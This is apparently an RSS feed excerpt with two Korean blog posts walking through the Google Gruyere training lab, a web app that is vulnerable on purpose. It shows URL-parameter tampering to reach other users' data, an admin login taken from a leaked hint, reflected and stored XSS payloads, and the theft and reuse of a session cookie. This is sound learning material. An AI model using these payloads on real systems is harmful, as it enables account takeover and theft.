            <guid>https://velog.io/@junnyontop-pixel/gruyere-%ED%95%B4%ED%82%B9%ED%95%B4%EB%B3%B4%EA%B8%B0-2%ED%8E%B8</guid>
            <pubDate>Fri, 13 Feb 2026 13:08:22 GMT</pubDate>
            <description><![CDATA[<h2 id="서론">서론</h2>
<p>본격적으로 <a href="https://google-gruyere.appspot.com/part2">문서</a>를 보면서 실습하다 보니 <code>Reflected XSS via AJAX</code>라는 내용이 있었다.</p>
<h4 id="ajax란">AJAX란?</h4>
<ul>
<li><p><code>Ajax는 Asynchronous JavaScript And XML&#39; 또는 &#39;Asynchronous JavaScript transfer (x-fer)&#39;의 약자이다. 말 그대로 JavaScript와 XML 형식을 이용한 비동기적 정보 교환 기법이다.</code> - 나무위키</p>
</li>
<li><p>그냥 페이지 전체를 새로고침하지 않고 데이터만 슥 바꾸는 방법이라고 보면 된다.</p>
</li>
</ul>
<hr>
<h3 id="ajax가-사용되는-곳-찾기">AJAX가 사용되는 곳 찾기</h3>
<p>다시 <a href="https://google-gruyere.appspot.com/">gruyere</a>에 들어가서 <code>계정생성</code>,<code>로그인</code>을 해준다.</p>
<blockquote>
<p>그냥 페이지 전체를 새로고침하지 않고 데이터만 슥 바꾸는 방법이라고 보면 된다.</p>
</blockquote>
<p>이걸 보면 딱봐도 글 <code>삭제</code>,<code>추가</code>에 사용될거 같다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/020d428f-e004-474e-a340-fe2c01b48f9a/image.png" alt="">
이렇게 글을 하나 작성해주고
콘솔창을 열어서 저 <code>[X]</code>버튼을 찍어보면</p>
<pre><code class="language-html">&lt;a href=&quot;/469790294992189573147013988367009809944/deletesnippet?index=0&quot;&gt;[X]&lt;/a&gt;</code></pre>
<p><code>/deletesnippet</code>이걸로 글을 삭제하고 <code>?index=0</code>이걸로 어느 글을 삭제할지 정하는거 같다 <code>index=0</code>의 의미는 데이터가 리스트 같은데에 저장돼 있는데 그 인덱스 번호를 뜻하는거 같다.</p>
<p>여기서 <code>?index=0</code>을 <code>?index=&lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;</code>이렇게 바꿔보면</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/09472a8b-b04d-4cf3-abe5-64224741fc82/image.png" alt="">
이렇게 팝업이 잘 뜨는것을 볼 수 있다.</p>
<hr>
<h2 id="관련-링크">관련 링크</h2>
<ul>
<li><a href="https://google-gruyere.appspot.com/">https://google-gruyere.appspot.com/</a></li>
<li><a href="https://google-gruyere.appspot.com/part2">https://google-gruyere.appspot.com/part2</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[구글 gruyere 해킹해보기 1편]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EA%B5%AC%EA%B8%80-gruyere-%ED%95%B4%ED%82%B9%ED%95%B4%EB%B3%B4%EA%B8%B0-1%ED%8E%B8</link>
            <guid>https://velog.io/@junnyontop-pixel/%EA%B5%AC%EA%B8%80-gruyere-%ED%95%B4%ED%82%B9%ED%95%B4%EB%B3%B4%EA%B8%B0-1%ED%8E%B8</guid>
            <pubDate>Fri, 13 Feb 2026 11:38:45 GMT</pubDate>
            <description><![CDATA[<h3 id="서론">서론</h3>
<p>이론만 막 배우니 머리에 들어오는게 없는거 같아 찾아본게 이 <a href="https://google-gruyere.appspot.com/">gruyere</a>이다.
앞에 나오는 이상한 영어들은 일찌감치 집어치우고 실습부터 했다.</p>
<h3 id="시작">시작</h3>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/b6b6def7-d84d-4371-9c9e-51a54c7c7bca/image.png" alt="">
먼저 들어가니 이런 사이트가 있었다.
밑으로 내려가서 <code>Continue &gt;&gt;</code>버튼을 누르고 들어가니
<img src="https://velog.velcdn.com/images/junnyontop-pixel/post/5af6649e-4456-4f21-b8e3-43501e27d8c0/image.png" alt="">
또 이런 영어들이 나를 반겨주는데 앞에서 말했듯이 집어치우고
<code>https://google-gruyere.appspot.com/start</code>를 눌러 본격적으로 시작한다.</p>
<hr>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/168435e6-74b5-417c-b222-8600dfe12669/image.png" alt="">
이렇게 게시판같은 페이지가 뜨는데 일단 로그인부터 해보자.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/c533ba88-4502-4bb1-bcd3-31603197f174/image.png" alt="">
회원가입창에서 가입을 해주고</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/e07fb272-320c-49bd-ad76-ca50ad850fdd/image.png" alt="">
로그인을 한다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/e9cb2ff6-cf76-46ea-bbba-dbf2ae63ded2/image.png" alt="">
로그인을 해주면 이런 화면이 뜨는걸 볼 수 있다.
그리고 시작부터 gruyere의 허술함이 들어난다.
<code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/login?uid=junnyontop-pixel&amp;pw=124QWEasd</code>
이렇게 <code>url</code>에 <code>id</code>와 <code>pw</code>노출시킨 것이다.</p>
<p>위에 <code>newSnippet</code>을 눌러보니 게시글을 올릴 수 있는거 같다.
<code>Limited HTML is now supported in snippets (e.g., &lt;b&gt;, &lt;i&gt;, etc.)!</code>이렇게 <code>html</code>태그를 허용해주는거 같다.
그래서 바로 <code>script</code>태그로 테스트 해보니 <code>script</code>태그는 안먹히는거 같다.</p>
<hr>
<p>차례로 <code>My Snippets</code>을 눌러주니
<code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl</code>주소가 이렇게 생겼다.
혹시나 <code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl?uid=</code>이렇게 아무거나 찍어 보니</p>
<p><code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl?uid=cheddar</code>
여기서</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4e6961be-8cd5-41a8-8230-51e1386e1d50/image.png" alt="">
이렇게 다른 사람의 게시글을 훔쳐볼 수 있었다.</p>
<p><code>?uid=cheddar</code>이걸 유용하게 써먹을 수 있을듯 하다.</p>
<hr>
<p>혹시 관리자의 글도 볼 수 있을까 싶어,
<code>?uid=admin</code>,<code>?uid=Admin</code>이런걸 시도해 보니
대소문자 구분은 안하는거 같고 많은 걸 시도해 보던 도중...</p>
<p><code>?uid=administrator</code>이걸 시도해보면
주소창은 <code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/snippets.gtl?uid=administrator</code>인데</p>
<p>화면엔
<img src="https://velog.velcdn.com/images/junnyontop-pixel/post/d748bdd7-89b2-478b-8762-4e360507da74/image.png" alt="">
<code>Admin</code>으로 표시되어있다.</p>
<p>뭔가 힌트를 얻은거 같지만 관리자의 게시글을 훔쳐볼순없었다.</p>
<hr>
<p>다음으로 옆에있는 Profile을 누르니
<img src="https://velog.velcdn.com/images/junnyontop-pixel/post/d5f06946-a069-4988-8d23-c83073ebd415/image.png" alt="">
이렇게 프로필을 수정할 수 있었다.</p>
<p><code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/editprofile.gtl</code>여긴 주소가 이런데 아까 봤던 그걸 사용해 보자.</p>
<p><code>https://google-gruyere.appspot.com/469790294992189573147013988367009809944/editprofile.gtl?uid=cheddar</code></p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/dad1897d-9ac6-4732-ac09-81d91556f47e/image.png" alt="">
역시 맞았다!
이걸로 다른사람의 프로필도 수정할 수 있다.</p>
<p>그리고 여기에 <code>Private Snippet</code>이란 항목이 있다.
여기에 <code>uid=administrator</code>를 사용해보면 게시글을 볼 수 있을지도 모른다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/ae9628d3-e6ab-4a8c-a968-29cdd04b417a/image.png" alt="">
성공이다.
추가로 <code>My password is secret. Get it?</code>라는 정보도 획득했다.
이 정보에 따르면 관리자의 <code>pw</code>는<code>secret</code>같다.</p>
<hr>
<p>로그아웃을 해주고
로그인 창에서 <code>User name:administrator</code>,<code>Password:secret</code>으로 작성해주니
관리자로 로그인을 성공했다!</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4f77b832-eba9-4c1c-95c8-75598e93b33e/image.png" alt="">
관리자로 로그인한 상태의 페이지이다.</p>
<p>이제 <code>xss</code>공격을 해볼거다.
아까 html태그를 허용했지만 <code>script</code>태그는 안되던 <code>New Snippet</code>을 클릭하고,</p>
<pre><code class="language-html">&lt;img src=&quot;&quot; onerror=&quot;alert(&#39;xss&#39;)&quot;&gt;</code></pre>
<p>이렇게 작성해주면</p>
<p><code>You are not an author.</code>라고 뜨면서 안된다.
<code>Profile</code>에 들어가면
<img src="https://velog.velcdn.com/images/junnyontop-pixel/post/1541cbec-24be-409e-96d9-aae4a0035a58/image.png" alt="">
이렇게 선택지가 더 생긴걸 볼 수 있다.</p>
<p><code>Is author</code>을 Yes로 변경해주고 다시 작성해주면
<img src="https://velog.velcdn.com/images/junnyontop-pixel/post/b57d08f9-a72b-4761-aed0-cfe6ea8c527e/image.png" alt="">
잘 뜨는것을 볼 수 있다.</p>
<hr>
<p>추가로 쿠키까지 가져가 비밀번호 없이 로그인하는 것 까지 해보겠다.</p>
<pre><code class="language-html">&lt;img src=&quot;&quot; onerror=&quot;alert(&#39;쿠키: &#39; + document.cookie);&quot;&gt;</code></pre>
<p>아까처럼 스니펫에 이걸 추가하면</p>
<p><code>GRUYERE=31131337|administrator|admin|; GRUYERE_ID=404477456041413703389788683660411129398</code>
쿠키가 나온다 이렇게 나온 쿠키를</p>
<p>로그아웃 후,</p>
<pre><code class="language-js">document.cookie = &quot;GRUYERE=31131337|administrator|admin|&quot;;</code></pre>
<p>콘솔창에 입력하면 로그인이 된다.</p>
<hr>
<h2 id="💡-이번-실습으로-배운-점">💡 이번 실습으로 배운 점</h2>
<ol>
<li><strong>파라미터는 믿을 게 못 된다:</strong> 클라이언트가 보내는 <code>uid</code> 같은 값은 누구나 수정할 수 있으므로, 서버에서 반드시 세션 기반의 검증을 거쳐야 한다.</li>
<li><strong>비밀번호 힌트의 위험성:</strong> 관리자라면 유추하기 쉬운 비밀번호나 힌트를 남기지 말아야 한다.</li>
<li><strong>XSS의 위력:</strong> <code>script</code> 태그가 막혔더라도 <code>onerror</code> 같은 이벤트 핸들러를 통해 얼마든지 공격이 가능하다는 것을 깨달았다.</li>
</ol>
]]></description>
        </item>
    </channel>
</rss>